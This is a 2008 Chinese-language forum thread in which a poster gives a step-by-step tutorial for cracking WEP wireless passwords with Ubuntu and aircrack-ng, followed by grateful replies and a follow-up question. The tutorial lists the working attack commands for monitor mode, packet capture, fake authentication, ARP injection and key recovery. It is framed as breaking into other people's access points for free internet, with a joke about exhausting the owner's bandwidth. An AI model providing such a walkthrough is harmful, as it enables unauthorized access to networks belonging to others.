WN322G 轻松 破解无线密码
<P>一、安装ubuntu和aircrack-ng </P><P>1、安装Ubuntu 8.10 （ 现在最新版暂时是 Alpha 6 ）在此感谢3楼的兄弟指正附下载地址兄弟们根据自己的硬件选择相应的版本：<A href="http://cdimage.ubuntu.com/releases/8.10/alpha-6/" target=_blank>ubuntu</A> </P>
<P>2、打开终端：Applications->Accessories->Terminal 在终端中输入 sudo gedit /etc/apt/sources.list 删除所有内容，然后把下面的源复制进去，保存，退出 #Chinese Sources "CN99" deb <A href="http://ubuntu.cn99.com/ubuntu/" target=_blank>http://Ubuntu.cn99.com/ubuntu/</A> intrepid main restricted universe multiverse deb <A href="http://ubuntu.cn99.com/ubuntu/" target=_blank>http://Ubuntu.cn99.com/ubuntu/</A> intrepid-backports main restricted universe multiverse deb <A href="http://ubuntu.cn99.com/ubuntu/" target=_blank>http://Ubuntu.cn99.com/ubuntu/</A> intrepid-proposed main restricted universe multiverse deb <A href="http://ubuntu.cn99.com/ubuntu/" target=_blank>http://Ubuntu.cn99.com/ubuntu/</A> intrepid-security main restricted universe multiverse deb <A href="http://ubuntu.cn99.com/ubuntu/" target=_blank>http://Ubuntu.cn99.com/ubuntu/</A> intrepid-updates main restricted universe multiverse #ubuntu's Main Sources deb <A href="http://archive.ubuntu.com/ubuntu/" target=_blank>http://archive.ubuntu.com/ubuntu/</A> intrepid main universe restricted multiverse deb <A href="http://security.ubuntu.com/ubuntu/" target=_blank>http://security.ubuntu.com/ubuntu/</A> intrepid-security universe main multiverse restricted deb <A href="http://archive.ubuntu.com/ubuntu/" target=_blank>http://archive.ubuntu.com/ubuntu/</A> intrepid-updates universe main multiverse restricted deb <A href="http://archive.ubuntu.com/ubuntu/" target=_blank>http://archive.ubuntu.com/ubuntu/</A> intrepid-proposed universe main multiverse restricted </P>
<P> </P>
<P>3、升级ubuntu到最新版本：System->Administration->Update Manager </P>
<P>4、在终端中输入 sudo apt-get install aircrack-ng 安装aircrack-ng 注：<FONT color=navy>如果暂时你的电脑上不了网，步聚2、3也可以不做，只需刻张Ubuntu系统碟，还有在下面下载aircrack-ng就可以了。</FONT> <FONT color=darkred>aircrack-ng Ubuntu DEB安装包下载</FONT>： </P>
<P> </P>
<P>二、破解过程 </P>
<P>1、在终端中输入 sudo airmon-ng start wlan0 启动无线网卡的监控模式（wlan0是无线网卡的端口,可在终端中输入 ifconfig 查看） </P>
<P> </P>
<P>2、在终端中输入 sudo airodump-ng mon0 （<FONT color=darkred>特别说明</FONT>：启动监控模式后无线网的端口现在是 mon0 ！！！） 看看有哪些采用wep加密的AP在线，然后按 ctrl+c 退出，保留终端</P>
<P> </P>
<P>3、另开一个终端，输入 sudo airodump-ng -c 6 --bssid <FONT color=indigo>AP's MAC</FONT> -w wep mon0 (-c后面跟着的6是要破解的AP工作频道，--bissid后面跟着的<FONT color=navy>AP's MAC</FONT>是要欲破解AP的MAC地址，-w后面跟着wep的是抓下来的数据包DATA保存的文件名，具体情况根据<FONT color=darkgreen>步骤2</FONT>里面的在线AP更改频道和MAC地址，DATA保存的文件名可随便命名）抓包 </P>
<P>4、再另开一个终端，输入 sudo aireplay-ng -1 0 -a <FONT color=indigo>AP's MAC</FONT> -h <FONT color=indigo>My MAC</FONT> mon0 与AP建立虚拟连接 （-h后面跟着的<FONT color=indigo>My MAC</FONT>是自己的无线网卡的MAC地址) </P>
<P> </P>
<P> </P>
<P>5、建立虚拟连接成功后，输入 sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b <FONT color=indigo>AP's MAC</FONT> -h <FONT color=indigo>My MAC</FONT> mon0 进行注入，现在回头看下<FONT color=darkgreen>步骤</FONT><FONT color=darkgreen>3<FONT color=black>的终端</FONT></FONT>是不是DATA在开始飞涨！</P>
<P> </P>
<P>6、收集有5000个以上的DATA之后，另开一个终端，输入 sudo aircrack-ng wep*.cap 进行解密 （如果没算出来的话，继续等，aircrack-ng 会在DATA每增加多5000个之后就自动再运行，直到算出密码为至）</P>
<P> </P>
<P>7、破解出密码后在终端中输入 sudo airomon-ng stop mon0 关闭监控模式，不然无线网卡会一直向刚刚的AP进行注入的，用ctrl+c退出或者直接关闭终端都是不行的。 现在可以冲浪去了，或者重复步聚1-7破解其它的AP 呵呵兄弟们冲浪时可别太猛了，不然把主人给冲翻了可就不好。</P>
<P> [<I> 本帖最后由 princerib 于 2008-9-20 10:39 编辑 </I>]</P> 好贴，一直在等，回去试试。 楼主提供的链接打不开了，已升级为 Alpha 6了
http://cdimage.ubuntu.com/releases/8.10/alpha-6/ 原帖由 GMGUO 于 2008-9-19 14:58 发表 http://www.anywlan.com/images/common/back.gif
楼主提供的链接打不开了，已升级为 Alpha 6了
http://cdimage.ubuntu.com/releases/8.10/alpha-6/
呵呵ubuntu升级太快了，马上修正 好文章，学习了 正在试验中。
回复 1# princerib 的帖子
谢谢分享，有学习就有进步。 谢谢分享，有学习就有进步 支持以下 去试试回来再顶你 第一次到这个网，感觉太专业了啊，我的网卡就是这个，不知道依葫芦画瓢能行不:P 这篇文章的确详细，受益匪浅啊
英文ESSID的都搞定了，可是中文ESSID显示一串问号，在建立我的无线网卡和对方路由器连接时卡住，要我输入-e参数和路由器ESSID，中文的啊，我该怎么办啊，可以忽略essid直接建立虚拟连接吗？用了个iwconfig wlan1 essid off命令好像不管用啊
望楼主解答啊，谢谢 谢谢分享,佩服的五体投地....:D :D :D :victory: :victory: :victory: